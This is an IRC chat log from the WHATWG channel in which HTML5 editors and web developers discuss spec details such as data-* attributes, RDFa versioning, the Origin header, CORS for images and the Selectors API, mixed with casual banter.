I've had that "it can't be this easy" feeling before when confronted with something that just falls into place.

[11:57:00.0000] <TabAtkins>
Hell, I still feel that way anytime I use Markdown.

[11:57:01.0000] <Hixie>
yeah she even said that she was trying to use a more complex study

[11:57:02.0000] <Hixie>
er

[11:57:03.0000] <Hixie>
structure

[11:57:04.0000] <Hixie>
not study!

[11:57:05.0000] <TabAtkins>
Hixie, we need a <markdown> element.  Plain-text formats ftw.

[11:58:00.0000] <Hixie>
hah, she said "i kinda hope that this list of predefined vocabularies isn't the real list"

[11:59:00.0000] <TabAtkins>
Heh, she wants more?

[11:59:01.0000] <Hixie>
well the list is basically just the terms i used in the examples

[11:59:02.0000] <Hixie>
so it's a pretty dumb list

[12:02:00.0000] <zcorpan_>
is abarth paying attention to htmlwg bugs?

[12:04:00.0000] <lmorchard>
HTML 5 spec question:  Did the <datalist> element support a data attribute that later got removed?  Seemed like it did in Web Forms, and HTML 5 examples show it in use.

[12:04:01.0000] <lmorchard>
Tried grepping though an svn log, but didn't find the answer

[12:04:02.0000] <zcorpan_>
yeah, it was removed in the wf2->html5 integration

[12:05:00.0000] <lmorchard>
Huh, oh well.  It seemed useful

[12:05:01.0000] <zcorpan_>
yeah

[12:06:00.0000] <zcorpan_>
but not too hard to emulate

[12:06:01.0000] <Hixie>
lmorchard: yeah, it might be added back later. it had its issues, not too many advocates, and frankly not too many use cases, so i figured it would be better to trim the fat.

[12:06:02.0000] <Hixie>
ok, participant 5 is done

[12:06:03.0000] <Hixie>
6th and final one this afternoon

[12:06:04.0000] <lmorchard>
Seemed nice to have a native autocomplete data source

[12:06:05.0000] <Hixie>
we'll just run the same 004 study again to find out if this morning was a fluke or what

[12:07:00.0000] <Hixie>
lmorchard: yup

[12:07:01.0000] <Hixie>
lmorchard: probably are better ways to do it if that's the exact use case though

[12:07:02.0000] <Hixie>
lmorchard: e.g. using some sort of protocol over WebSocket, so you don't have to do a TCP round trip for every keystroke

[12:07:03.0000] <Hixie>
er, two TCP roundtrips

[12:07:04.0000] <Hixie>
one to create the connection and one to get the data

[12:08:00.0000] <lmorchard>
Ah, true.  Then you don't need to produce, deliver, and parse a whole body of autocomplete choices

[12:08:01.0000] <Philip`>
(Isn't the first roundtrip solved by keepalive?)

[12:09:00.0000] <zcorpan_>
also, oninput isn't every keystroke

[12:09:01.0000] <Philip`>
When I stroke my keys, nothing happens

[12:10:00.0000] <TabAtkins>
Philip`, you're not doing it right.  Treat them like you love them, not like they're just a piece of meat.

[12:10:01.0000] <Philip`>
/me presumably needs a touch-sensitive keyboard

[12:11:00.0000] <Philip`>
If your keyboard is a piece of meat, I think you should take it back to the shop

[12:11:01.0000] <TabAtkins>
Meat-based computing is the future.

[12:11:02.0000] <lmorchard>
They're made out of meat!

[12:27:00.0000] <TabAtkins>
Woohoo!  Got a medical study just sent to me to see if a vaccine works by actually exposing me to the virus and seeing if I get sick.  Totally worth it for $1100, though.  ^_^

[12:28:00.0000] <mpilgrim>
TabAtkins: we should test RDFa that way

[12:29:00.0000] <TabAtkins>
mpilgrim: There are some things I wouldn't risk.

[12:39:00.0000] <zcorpan_>
TabAtkins: swine flu?

[12:41:00.0000] <Philip`>
TabAtkins: Zombism?

[12:42:00.0000] <TabAtkins>
zcorpan_: Nah, it's something called "Cruise Ship Illness and Intestinal Flu".

[12:43:00.0000] <Philip`>
Sounds jolly

[12:44:00.0000] <jgraham>
/me wonders if "#whatwg on freenode.net" would be a suitable (if non unique) answer to "where does Ian Hickson live on the web?"

[12:44:01.0000] <Philip`>
TabAtkins: How long would you have to be sick for, before you considered $1100 no longer worth it?

[12:45:00.0000] <gsnedders>
/me grumbles at having to start up word

[12:45:01.0000] <Philip`>
jgraham: #whatwg is on the web now?

[12:45:02.0000] <TabAtkins>
Philip`: Depends on the severity of the illness.

[12:45:03.0000] <jgraham>
/me wonders if he is along in finding the idea that people "live at" or are "identified" by some URI they happen to control to be odd

[12:45:04.0000] <jgraham>
Philip`: Hmm. Good point. 

[12:45:05.0000] <jgraham>
*alone

[12:46:00.0000] <gsnedders>
zcorpan_: What does "trappstädning" mean?

[12:46:01.0000] <Philip`>
/me partly-intentionally avoids having a single URL that he considers to be anything like a homepage

[12:46:02.0000] <TabAtkins>
Philip`, I've done the same thing.  www.xanthir.com is just a place for me to have random fun.

[12:46:03.0000] <TabAtkins>
And see what the current time is.

[12:47:00.0000] <jgraham>
gsnedders: Google translate says "stair cleaning"

[12:47:01.0000] <jgraham>
/me guesses you looked at that already

[12:47:02.0000] <gsnedders>
/me prefers to give out secret.gsnedders.com

[12:47:03.0000] <gsnedders>
jgraham: Yeah, I did. I guess it's right, as it does just about make sense :P

[12:48:00.0000] <TabAtkins>
Now, as to when $1100 becomes no longer worth it, I'd probably rate it as a bit over a week.  For a general intestinal flu, I'd consider compensation similar to what I make per day at my job to be fair.

[12:48:01.0000] <Philip`>
gsnedders: It looks like "trap standing", so presumably it involves finding mousetraps and bear traps etc on which to stand for laughs

[12:48:02.0000] <jgraham>
/me is far too lazy to have anything that resembles a coherent homepage

[12:48:03.0000] <gsnedders>
Philip`: That doesn't really make sense.

[12:48:04.0000] <Philip`>
gsnedders: What, standing on traps?

[12:48:05.0000] <jgraham>
Or rather it never seems that interesting to make one

[12:48:06.0000] <gsnedders>
/me vandalizes his, apparently

[12:48:07.0000] <Philip`>
It's a way to pass the time

[12:49:00.0000] <zcorpan_>
gsnedders: what jgraham said

[12:49:01.0000] <jgraham>
gsnedders: Yeah, well, you have been warned about that

[12:49:02.0000] <gsnedders>
Philip`: So it's my landlord's responsibility, and not mine? Oh well. I guess I'm sad to miss out. :(

[12:49:03.0000] <gsnedders>
Also, I'm apparently "a very nice, a bit humble and easy going person", which is a bit of a worrying description.

[12:51:00.0000] <jgraham>
At least they didn't just call you "easy"

[12:52:00.0000] <gsnedders>
Well, yeah.

[13:03:00.0000] <TabAtkins>
/me is desperately thankful he remembered a browser game he played 10+ years ago as the answer to the secret question when recovering his password.

[13:04:00.0000] <zcorpan_>
http://net.tutsplus.com/articles/web-roundups/5-lesser-known-javascript-libraries-that-make-web-design-easier/ - talk about over engineering things (the Modernizr audio example)

[13:04:01.0000] <zcorpan_>
let's test for audio support! if it's not supported, let's hide the element!

[13:05:00.0000] <zcorpan_>
because <audio src></audio> does ... something bad in old browsers?

[13:05:01.0000] <zcorpan_>
but wait, then let's test for audio support, and if it is supported, let's hide the download link that is next to the audio!

[13:06:00.0000] <zcorpan_>
because this way is better than just <audio src><a href>link</a></audio> 

[13:06:01.0000] <lmorchard>
It's got electrolytes

[13:07:00.0000] <Hixie>
why would they hide the download link at all

[13:07:01.0000] <TabAtkins>
Ooh, I didn't know about Firebug Lite.  Awesome.

[13:07:02.0000] <zcorpan_>
Hixie: dunno, maybe they want to rely on the browser providing an easy way to download the audio if it supports <audio>

[13:08:00.0000] <zcorpan_>
i didn't get firebug lite to work, though i only tried to apply it as a bookmarklet

[13:12:00.0000] <paul_irish>
zcorpan_: yah that's kind of useless. (i maintain modernizr, btw). i'll shoot the author a message to have him do it properly. :)

[13:13:00.0000] <remysharp>
hi - I can't find the -data attribute in the html5 spec, has it been removed or am I just being lame at searching?

[13:13:01.0000] <Hixie>
search for data-*

[13:13:02.0000] <Philip`>
paul_irish: If you're the right person to report this to: I think there's a typo in the project's name, it should have an extra 'e'

[13:13:03.0000] <remysharp>
or rather "data-*"

[13:13:04.0000] <paul_irish>
Philip`: ah, can you file a bug? :P

[13:14:00.0000] <miketaylr>
/me ducks from Philip`

[13:14:01.0000] <Hixie>
remysharp: http://www.whatwg.org/specs/web-apps/current-work/#attr-data-*

[13:14:02.0000] <Philip`>
remysharp: http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#embedding-custom-non-visible-data

[13:15:00.0000] <zcorpan_>
paul_irish: i've already written a comment :)

[13:15:01.0000] <paul_irish>
Philip`: thx for the web font optimizer btw. i'm hoping to add support for any font file to it.

[13:15:02.0000] <remysharp>
cheers

[13:16:00.0000] <Philip`>
paul_irish: The web UI is restricted to some free ones, but the code at http://bitbucket.org/philip/font-optimizer/ ought to work with any font

[13:16:01.0000] <Philip`>
Well, any non-CFF font

[13:16:02.0000] <paul_irish>
yah that's what it looked like.

[13:16:03.0000] <Philip`>
except ones it doesn't work with

[13:16:04.0000] <Philip`>
but I've tested on quite a few

[13:16:05.0000] <zcorpan_>
you can choose any color you want so long as it's black

[13:17:00.0000] <paul_irish>
very cool. i'm also hoping to support something like font segmenting. so half the glyphs go in one file and half in the rest.. its a trick typekit is doing these days.

[13:17:01.0000] <remysharp>
Re: custom data, if I have: <div data-lat-long="12,12"> - could I target it using this.dataset['lat-long'] (note particular use of dashes)

[13:18:00.0000] <zcorpan_>
remysharp: yes

[13:18:01.0000] <Philip`>
paul_irish: That seems much harder when you want to support ligatures (particularly for non-Western languages which depend heavily on glyph substitutions) and kerning

[13:18:02.0000] <Philip`>
paul_irish: As far as I'm aware, Typekit's approach is to not support those things

[13:18:03.0000] <paul_irish>
Philip`: i agree. we'll see how far i can reasonably take it.

[13:19:00.0000] <paul_irish>
yah that's what i've seen as well.

[13:19:01.0000] <Philip`>
paul_irish: (My code tries very hard to preserve all of that kind of information, while still optimising away as much as possible)

[13:19:02.0000] <Hixie>
zcorpan_: what does "("[^...]" is subtracted from Char.)" mean in http://www.w3.org/Bugs/Public/show_bug.cgi?id=7488#c3 ?

[13:19:03.0000] <Philip`>
paul_irish: ((The GSUB/GPOS tables can be hundreds of KB in some font, so they do need to be optimised when subsetting))

[13:21:00.0000] <zcorpan_>
Hixie: [^a-z], [^#xN-#xN] 

[13:21:01.0000] <zcorpan_>
matches any Char with a value outside the range indicated.

[13:22:00.0000] <Hixie>
right

[13:22:01.0000] <Hixie>
so?

[13:22:02.0000] <zcorpan_>
Hixie: so you need to check against Char, too

[13:22:03.0000] <zcorpan_>
Hixie: not just check for " and '

[13:23:00.0000] <Hixie>
oh, i see

[13:23:01.0000] <Hixie>
ok, thanks

[13:23:02.0000] <Hixie>
sorry didn't realise we were checking anything at all yet

[13:25:00.0000] <Hixie>
i wonder why they used [^"]* for systemliteral, but used Char-'-' for comments

[13:25:01.0000] <Hixie>
if it means the same

[13:27:00.0000] <Hixie>
/me wonders why XML allows the second block of <control>s but no the first

[13:27:01.0000] <zcorpan_>
it's Char-'--'

[13:28:00.0000] <Hixie>
right

[13:28:01.0000] <Hixie>
but why not use Char-'"'-"'" or some such?

[13:28:02.0000] <Hixie>
whatever the right syntax is

[13:28:03.0000] <zcorpan_>
dunno

[13:33:00.0000] <Hixie>
ok tried to fix it

[13:33:01.0000] <Hixie>
thanks

[13:38:00.0000] <zcorpan_>
/me bets there's still a case it doesn't cover

[13:47:00.0000] <jgraham>
Philip`: It seems like the intersting number wrt RDFa versioning is how many existing implementations actually ignore the version parameter i.e. parse version="2" identically to version="1"

[13:47:01.0000] <jgraham>
s/parse/interpret/

[13:48:00.0000] <Philip`>
jgraham: All the ones that ignore @version entirely will do that

[13:49:00.0000] <hsivonen>
do any existing pieces of software claimed to be RDFa consumers modify their behavior depending on version attribute values?

[13:49:01.0000] <Philip`>
I suppose it's theoretically possible they accept both version-1 and absent-version

[13:49:02.0000] <Philip`>
/me could look at the implementation code, he guesses

[13:50:00.0000] <zcorpan_>
/me notes that xml 1.0 interprets version="1.0" and version="1.9" the same but version="2.0" differently

[13:50:01.0000] <zcorpan_>
5th ed, that is

[13:51:00.0000] <hsivonen>
zcorpan_: that doesn't count because they changed that after the 1.1 disaster

[13:52:00.0000] <hsivonen>
zcorpan_: a case study should consider pre-1.1 parsers that were built to self-sabotage when fed the 1.1 identifier

[13:52:01.0000] <jgraham>
Philip`: Yeah it's that theoretical possibility I was thinking of

[13:52:02.0000] <zcorpan_>
i wonder what the xml core wg will do if/when they find that no-one is adopting 5ed

[13:52:03.0000] <jgraham>
But the whole idea of versioning doesn't seem like it can work so I woudln't waste too much time on it

[14:04:00.0000] <zcorpan_>
(which resource you end up with 

[14:04:01.0000] <zcorpan_>
depends on your Google login credentials)

[14:05:00.0000] <zcorpan_>
can this be exposed to other pages?

[14:05:01.0000] <zcorpan_>
<iframe src=google-i'm-feeling-lucky>

[14:05:02.0000] <zcorpan_>
window[0].URL

[14:08:00.0000] <TabAtkins>
Hmm, what's Neuberg's nationality?

[14:09:00.0000] <TabAtkins>
I'm watching his HTML5 video, and I noticed that he uses the German way of counting on fingers for his "5 steps" graphic.

[14:10:00.0000] <hsivonen>
TabAtkins: what's the German way?

[14:10:01.0000] <TabAtkins>
Starting with the thumb.

[14:10:02.0000] <TabAtkins>
In America we end with the thumb, only using it for "5".

[14:11:00.0000] <zcorpan_>
sweden does it the American way

[14:11:01.0000] <ttepasse>
/me can't extend little and ring finger for counting to two ??but then he's german.

[14:11:02.0000] <zcorpan_>
although the german way is easier

[14:12:00.0000] <TabAtkins>
ttepasse: Sorry,  bad description.  ^_^  1 is index finger, 2 is index and middle, etc.

[14:12:01.0000] <zcorpan_>
ttepasse: you start with index finger

[14:12:02.0000] <ttepasse>
Uh. Ok.

[14:13:00.0000] <ttepasse>
At least it's not binary.

[14:13:01.0000] <TabAtkins>
Binary is really easy on the fingers.

[14:13:02.0000] <TabAtkins>
I use it all the time.

[14:14:00.0000] <zcorpan_>
4 is harder the german way

[14:14:01.0000] <TabAtkins>
Frex, I can count out how long to do my mouthwash on one hand.

[14:14:02.0000] <zcorpan_>
(than 3 the american way)

[14:14:03.0000] <TabAtkins>
Yeah, the American 3 can use the thumb to hold down the pinky.

[14:15:00.0000] <Hixie>
final participant

[14:15:01.0000] <TabAtkins>
woo

[14:15:02.0000] <Hixie>
he just said something that directly contradicted something this morning's participant said

[14:15:03.0000] <Hixie>
how confoosing

[14:15:04.0000] <Hixie>
i want my participants to all be consistent with each other so my life is easy!

[14:15:05.0000] <Hixie>
("my" participants :-P)

[14:15:06.0000] <ttepasse>
The new feudalism.

[14:16:00.0000] <zcorpan_>
you should have chosen other participants, then

[14:17:00.0000] <hsivonen>
Hixie: naysayers won't approve of your selection of participants even if they weren't chosen for your convenience

[14:18:00.0000] <Hixie>
zcorpan_: i didn't chose any of them, we have an independent team for that

[14:19:00.0000] <Hixie>
hsivonen: oh i don't really care about the naysayers, i'm just trying to make it better :-)

[14:46:00.0000] <TabAtkins>
Man, now I wanna start using Workers.

[14:46:01.0000] <TabAtkins>
Damn IE upgrade cycle.

[14:47:00.0000] <Philip`>
Why "now"?

[14:49:00.0000] <TabAtkins>
Neuberg's video.

[14:50:00.0000] <TabAtkins>
While I've vaguely tracked Workers on the list, I didn't realize how easy they were to use.

[15:01:00.0000] <hsivonen>
with Chrome Frame, IE8 has 7 layout modes, right?

[15:02:00.0000] <gsnedders>
hsivonen: Yeah, I think

[15:08:00.0000] <sicking>
Hixie: they should have called it "Canvas Accessibility Taskforce" instead

[15:14:00.0000] <Hixie>
what _did_ they call it?

[15:15:00.0000] <Hixie>
sicking: do you know anything about https://wiki.mozilla.org/Security/Sec-From ?

[15:15:01.0000] <Hixie>
specifically, do you know if "*If ancestor tree is more than 1 deep, send "null"" still applies now that we have the list version of Origin

[15:16:00.0000] <sicking>
Hixie: don't know what they called it, but i'm all about backronyms

[15:16:01.0000] <Hixie>
hehe

[15:16:02.0000] <sicking>
Hixie: don't know that no :(

[15:16:03.0000] <Hixie>
/me summons abarth

[15:16:04.0000] <Hixie>
that's not abarth.

[15:17:00.0000] <Hixie>
/me tries again with a chicken:

[15:17:01.0000] <Hixie>
  .    o

[15:17:02.0000] <Hixie>
   ('>)

[15:17:03.0000] <Hixie>
    LL

[15:17:04.0000] <Hixie>
ok that's just disturbing.

[15:17:05.0000] <gsnedders>
Blatantly you control annevk42.

[15:19:00.0000] <TabAtkins_>
Lachy, forgive me for being stupid, but *why* would we need special namespaced versions of the querySelector* functions?  You can use namespaces directly in selectors.

[15:20:00.0000] <annevk42>
hmm, I knew I shouldn't go online

[15:20:01.0000] <TabAtkins_>
Haha.

[15:21:00.0000] <TabAtkins_>
/me sighs.

[15:21:01.0000] <TabAtkins_>
Oh, Roy T. Fielding.  Why you so crazy?

[15:22:00.0000] <Lachy>
TabAtkins_, to provide namespace resolution mechanism.

[15:22:01.0000] <annevk42>
no, the answer is "just say no"

[15:22:02.0000] <TabAtkins_>
Lachy, I assume this is something beyond CSS's normal namespace handling?  If so I don't really understand it, so shrug.

[15:23:00.0000] <Lachy>
annevk42, just saying no doesn't help. But the question was just about why the would be needed if we do introduce namespaces. I'm not saying we will or will not do so at this stage.

[15:23:01.0000] <Lachy>
@namespace can't be used in the API. That applies to CSS only.

[15:24:00.0000] <annevk42>
Hixie, Sec-From is dead

[15:24:01.0000] <TabAtkins_>
Point me at an example of how the current *NS functions do that?

[15:25:00.0000] <Lachy>
TabAtkins_, document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "svg");

[15:26:00.0000] <TabAtkins_>
Thought so.  How would that work in querySelectorNS?  You can potentially have multiple different namespaces in a single selector.

[15:26:01.0000] <Lachy>
For selectors api, we would need a way to resolve any number of prefixes and the default ns in, e.g., "svg|textArea, xh|textarea"

[15:26:02.0000] <Hixie>
annevk42: no, it's just renamed Origin

[15:26:03.0000] <TabAtkins_>
kk.

[15:27:00.0000] <annevk42>
Hixie, which already existed

[15:27:01.0000] <Hixie>
sure but i still have to define the Privacy-Sensitive Contexts stuff

[15:27:02.0000] <Lachy>
the original proposal that was tried with selectors api v1 was to pass an NSResolver object that implements the lookupNamespaceURI() method (or simply a function in JS) that returned the namespcae URI

[15:28:00.0000] <annevk42>
Hixie, anyway, afaik abarth is following what I specified which means it is only null when there's no serialization

[15:28:01.0000] <annevk42>
Hixie, and it's space-separated in case of redirects

[15:29:00.0000] <Hixie>
annevk42: it's also null for regular hyperlinks, navigations of any kind other than form submission, <img>s, and style sheets, apparently

[15:32:00.0000] <TabAtkins_>
Lachy: The most natural js way to do it would be to just pass an object with the keys being the ns and the values being urls.  {"svg":"http://www.w3.org/2000/svg"} as the first argument, frex.

[15:33:00.0000] <Lachy>
that was suggested but doesn't really solve the problems that existed with the function because of the ability to define getter functions.

[15:33:01.0000] <TabAtkins_>
I don't know enough context to understand that sentence.

[15:33:02.0000] <sicking>
annevk42: no, it's null in a lot more situations

[15:33:03.0000] <Hixie>
lachy: get a structured clone of the value passed, then use it :-)

[15:33:04.0000] <Lachy>
anyway, I'm not looking at the namespace issue right now and will not look into any possible solution until the use cases have been made clear.

[15:34:00.0000] <sicking>
annevk42: basically it's null when we don't think we can trust where a request-uri came from

[15:34:01.0000] <sicking>
annevk42: for example with <a> links, it's very common that the link is generated by someone other than the site owner

[15:35:00.0000] <TabAtkins_>
Lachy: Sure, I was just curious and wanted to understand some issues better before I responded.

[15:35:01.0000] <Lachy>
Hixie, that might work. I'll keep that in mind.

[15:35:02.0000] <sicking>
annevk42: for example most forums allow you to insert links, as do blog comments and gmail

[15:38:00.0000] <Hixie>
<iframe> <embed> <applet> send origin; <img> does not

[15:38:01.0000] <Hixie>
should <object> ?

[15:39:00.0000] <Philip`>
/me notes that Gmail seems to do some magic link rewriting so you don't actually get directly linked from emails

[15:41:00.0000] <annevk42>
Hixie, ah right

[15:42:00.0000] <annevk42>
Hixie, would be nice if <img> worked with CORS so you can prevent tainting the <canvas>

[15:42:01.0000] <Hixie>
yes, CORS needs to be applied all over the place

[15:42:02.0000] <Hixie>
eventsource, img, etc

[15:42:03.0000] <Hixie>
but i'm waiting for cors to be deployed and proven good before i start adding it everywhere

[15:42:04.0000] <gsnedders>
won't that cause web compat issues?

[15:45:00.0000] <Hixie>
why?

[15:55:00.0000] <annevk42>
Hixie, fair enough

[15:55:01.0000] <annevk42>
gsnedders, CORS can be used in an additive way, e.g. the <img> can still load and be displayed even if the resource sharing check failed

[16:00:00.0000] <Hixie>
ok since nobody replied, i'm assuming <object> is not privacy-sensitive

[16:06:00.0000] <Hixie>
wait, we can't do CORS for <img> if we don't send Origin

[16:06:01.0000] <Hixie>
and similarly, that means that <video> and <audio> will need to send Origin if we are ever to do CORS

[16:06:02.0000] <Hixie>
so i might as well do it already

[16:06:03.0000] <da3d>
What is CORS?

[16:08:00.0000] <Hixie>
http://dev.w3.org/2006/waf/access-control/

[16:09:00.0000] <Hixie>
/me presumes <input type=image> is the same as <img>

[16:15:00.0000] <TabAtkins_>
Lachy: Also, the hypothetical selector() function should be named $.

[16:28:00.0000] <Hixie>
TabAtkins: document.$?

[16:28:01.0000] <TabAtkins>
Hixie: jk, really.  ^_^

[16:28:02.0000] <Philip`>
Hmm, looks like PyRDFa emits a warning (no idea where, since I've never seen it) if a document doesn't have either an appropriate doctype or appropriate <html version> or appropriate <head profile>

[16:28:03.0000] <Hixie>
TabAtkins: :-P

[16:29:00.0000] <Philip`>
If you pass the rdfa_strict_version option then Swignition requires <html version> =~ /rdfa/i else it doesn't extract RDFa

[16:30:00.0000] <Philip`>
rdfQuery seems to ignore version/profile entirely

[16:31:00.0000] <Philip`>
rdfa.js (whatever it's meant to be called) too

[16:33:00.0000] <Philip`>
librdfa too, I think

[16:33:01.0000] <Philip`>
(For PyRDFa, "appropriate" means equal to the RDFa 1.0 specific strings)

[16:35:00.0000] <Hixie>
so basically the rdfa wg made the same mistake as the xml wg but weren't as successful as shooting themselves in the foot?

[16:35:01.0000] <Hixie>
er, at shooting, not as shooring.

[16:35:02.0000] <Hixie>
i give up.

[16:38:00.0000] <Philip`>
You could argue that they were *less* successful than shooting themselves in the foot, because they're trying to shoot everybody else's feet too

[16:39:00.0000] <Philip`>
(I don't know that it would be a valid or justifiable thing to argue, but that's no reason not to attempt to interpret your pre-typo text)

[16:40:00.0000] <Philip`>
(Um, pre-typo-fix)

[16:40:01.0000] <Hixie>
i was arguing that they were less successful at shooting themselves in their foot, yes

[16:40:02.0000] <Philip`>
(pre-attempted-typo-fix)

[16:41:00.0000] <Hixie>
in that they tried to make it very difficult for themselves to extend their language while supporting legacy content in new UAs, but their UAs by and large ignored that requirement, so they'll be ok

[16:41:01.0000] <Philip`>
/me is unsure whether success in foot-shooting should be measured in terms of hits or misses

[16:41:02.0000] <Hixie>
heh

[16:41:03.0000] <Hixie>
it's interesting to see WGs try to use versioning

[16:41:04.0000] <Hixie>
i wonder if there are any examples of it being successful

[16:42:00.0000] <Hixie>
in any multivendor technology

[16:42:01.0000] <Hixie>
i certainly haven't heard of any success stories

[16:42:02.0000] <TabAtkins>
ffs, seriously?  In this day and age I have to type in a custom-format url to locate something on my computer?

[16:42:03.0000] <TabAtkins>
/me is angry at Microsoft right now.

[16:42:04.0000] <Philip`>
"they'll be ok" - not if they want to make backward-incompatible changes, like defaulting to plain text literals instead of XMLLiterals

[16:42:05.0000] <Hixie>
well if they want to make backwards-incompatible changes they've lost already

[16:43:00.0000] <Hixie>
so i was assuming they wouldn't do anything like that

[16:43:01.0000] <Philip`>
If they don't make the backwards-incompatible change then they've also lost, because they'll be stuck with a design mistake

[16:43:02.0000] <Philip`>
So either way, they're not entirely okay

[16:44:00.0000] <Philip`>
Presumably the only solution is to be really really sure you've got the design right at the start, before anybody's started using it

[16:46:00.0000] <TabAtkins>
Or just don't care all that much about the people you're messing up when you make a breaking change.

[16:48:00.0000] <Hixie>
or to put up with design mistakes -- html's done pretty well for itself with a whole raft of horrendous design mistakes

[16:50:00.0000] <Philip`>
Indeed, you need to be really really sure you've got the design right at the start, before anybody's started using it, and once somebody's started using it you have to put up with the raft of horrendous design mistakes you suddenly discover

[16:50:01.0000] <gsnedders>
Well, that's better than PHP, seeming that has no design

[16:53:00.0000] <Philip`>
"A file cannot have infinite length" - what about /dev/urandom?

[16:54:00.0000] <Hixie>
where does it say that

[16:54:01.0000] <Philip`>
On public-html

[16:54:02.0000] <Hixie>
oh

[16:55:00.0000] <Hixie>
well, that e-mail is far ore productive than most on that thread have been


2009-09-29
[17:03:00.0000] <erlehmann>
Will HTML6 be developed over google wave ?

[17:04:00.0000] <erlehmann>
instead of mailing lists, that is

[17:04:01.0000] <Dashiva>
I was hoping we'd have collective consciousness by then

[17:05:00.0000] <Philip`>
On the subject of versioning: I submitted a test case for the RDFa test suite that includes a character that's valid in XML5e but not in XML4e

[17:05:01.0000] <jcranmer>
HTML 6 will probably move to newsgroups :-)

[17:05:02.0000] <Philip`>
I wonder what will happen with that...

[17:08:00.0000] <Philip`>
erlehmann: You may be underestimating people's attachment to legacy technologies

[17:09:00.0000] <Philip`>
When someone's spent fifteen years setting up their email client to perfection, they're not going to want to change for another fifteen years

[17:10:00.0000] <erlehmann>
i get it. people still use IRC for despite jabber being better in virtually all low-attendance scenarios.

[17:12:00.0000] <Philip`>
Jabber is great, you can DOS a whole multi-user room by sending ill-formed XML

[17:12:01.0000] <Hixie>
it's only been 14 years

[17:12:02.0000] <Hixie>
:-P

[17:17:00.0000] <Philip`>
(Actually you can DOS it by sending perfectly well-formed (but unusual) XML that the server mangles into ill-formed XML)

[17:18:00.0000] <Philip`>
s/(\S*-formed)/namespace-$1/

[17:20:00.0000] <othermaciej>
what would CORS applied to <img> do?

[17:21:00.0000] <othermaciej>
is there a draft for Sec-From as renamed to Origin?

[17:24:00.0000] <Hixie>
http://tools.ietf.org/html/draft-abarth-origin

[17:24:01.0000] <Hixie>
CORS on <img> would be useful for <canvas>

[17:27:00.0000] <othermaciej>
neat

[17:27:01.0000] <othermaciej>
whats the goal for this draft? publish as an individual submssion RFC, or form an IETF Working Group?

[17:28:00.0000] <othermaciej>
and can an individual submission RFC be on the IETF standards track? (the header on this one doesn't request standards track status)

[17:28:01.0000] <othermaciej>
(perhaps aarth could better answer these questions if he were here)

[17:28:02.0000] <othermaciej>
er, abarth

[17:29:00.0000] <Hixie>
well it's a standard

[17:29:01.0000] <Hixie>
whether the ietf deign to give it that label or not is probably up to them

[17:35:00.0000] <Hixie>
othermaciej: ok, as far as i know, Origin-related feedback is addressed.

[17:37:00.0000] <othermaciej>
Hixie: I'm not sure if it's ok per W3C rules to normatively reference a non-standards-track RFC, so it does matter procedurally, even if not substantively

[17:37:01.0000] <othermaciej>
Hixie: I guess I should ask abarth about this stuff

[17:38:00.0000] <Hixie>
my goals are varied, such as to get specifications that implementors can follow without having to do reverse engineering, having specs that when followed to the letter reliably lead to interop, having specs that UAs are willing to implement, etc

[17:38:01.0000] <Hixie>
but i have to say, none of my goals involve anything to do with a particular process or other

[17:39:00.0000] <Hixie>
it saddens me that yours do now :-)

[17:39:01.0000] <Hixie>
(process is supposed to help, not hinder, )

[17:39:02.0000] <Hixie>
s/, //

[17:49:00.0000] <TabAtkins>
Lachy, sorry for being difficult in the Selectors API thread.  I didn't like the design of querySelector when it first created, and I don't like it now.  >_<

[17:50:00.0000] <TabAtkins>
Also, how often in practice do you know you only want the first result of a selector match?

[17:51:00.0000] <takkaria>
when selecting by id?

[17:51:01.0000] <TabAtkins>
I guess it might be common when you know you're searching for only a single thing, so the implementation can stop searching after it finds the first.

[17:51:02.0000] <TabAtkins>
That doesn't seem to have bothered Resig enough to optimize for it in jQuery, though.

[17:51:03.0000] <takkaria>
though I guess there's getElementById() for that

[17:54:00.0000] <TabAtkins>
takkaria: Yeah, by id is certainly the primary case of "I know there's only one here".  Though an HTML implementation can make that optimization all by itself (I'm pretty certain that Sizzle recognized the "#foo" case and just uses getElementById).

[17:54:01.0000] <TabAtkins>
s/recognized/recognizes/

[18:02:00.0000] <Lachy>
TabAtkins, it's quite common to see stuff like getElementsByTagName("...")[0]. The point of querySelector() returning a single result is to address the analogous cases where that's done with selectors

[18:03:00.0000] <TabAtkins>
That makes sense, but like I said, it doesn't appear to be enough of a problem in practice for Sizzle to optimize for it.

[18:04:00.0000] <TabAtkins>
And Sizzle, obviously, runs slower than an equivalent native selector engine.

[18:04:01.0000] <Lachy>
it may have been that detecting when an author only wants a single result vs. all results when using the JQuery API proved difficult or impossible. But JS libraries aren't the only use case.

[18:05:00.0000] <TabAtkins>
Well, of course.  But I don't believe that *any* of the major selector engines optimized for that.

[18:05:01.0000] <Lachy>
so?

[18:06:00.0000] <TabAtkins>
So, that brings up the possibility that you're solving something that isn't a problem.

[18:07:00.0000] <othermaciej>
Hixie: the W3C rule about maturity level of your normative references is supposed to prevent specs from moving forward as supposedly complete when they actually depend on something unstable

[18:07:01.0000] <TabAtkins>
And when the solution itself causes problems (such as requiring any new method to be accompanied by a twin version, making it more painful to introduce new methods), that can be an issue.

[18:07:02.0000] <Lachy>
as I said, JS libraries can't readily detect when an author wants only a single result, so it isn't at all surprising that they can't optimise for it.  That doesn't mean they wouldn't if they couldn't, or that it's not worth it for people who don't use JS libraries

[18:08:00.0000] <othermaciej>
Hixie: that seems like a helpful rule to me, otherwise the meaning of maturity levels is undermined

[18:08:01.0000] <othermaciej>
Hixie: in any case, the W3C has to follow the W3C process, so my personal preferences don't enter into it

[18:08:02.0000] <TabAtkins>
I'm not talking about detecting intent.  querySelector doesn't detect intent, it allows the author to explicitly say what they want.  But I don't believe any js library has found it to be worthwhile to allow their users to do that.

[18:09:00.0000] <Lachy>
right. But there is no way, using a JS library API like JQuery, to say they only want one result before the query is executed

[18:09:01.0000] <TabAtkins>
After all, would it really be that difficult for jquery to have both $() and $1()?

[18:10:00.0000] <Lachy>
probably not, but anyway, this issue has been resolved and closed for over a year now, and is impossible to change. Arguing is beyond pointless

[18:11:00.0000] <Hixie>
othermaciej: oh well html5 isn't going to be stable for eons. we don't even have the beginnings of a test suite yet.

[18:11:01.0000] <Hixie>
othermaciej: so we're far from that problem.

[18:11:02.0000] <Lachy>
I'd rather focus on the issues I'm trying to solve, rather than ancillary issues

[18:12:00.0000] <Hixie>
othermaciej: i agree that we shouldn't refer to unstable drafts when we're claiming to be done, but that's a matter of how stable the specs are, not what labels the IETF or W3C put on them.

[18:12:01.0000] <othermaciej>
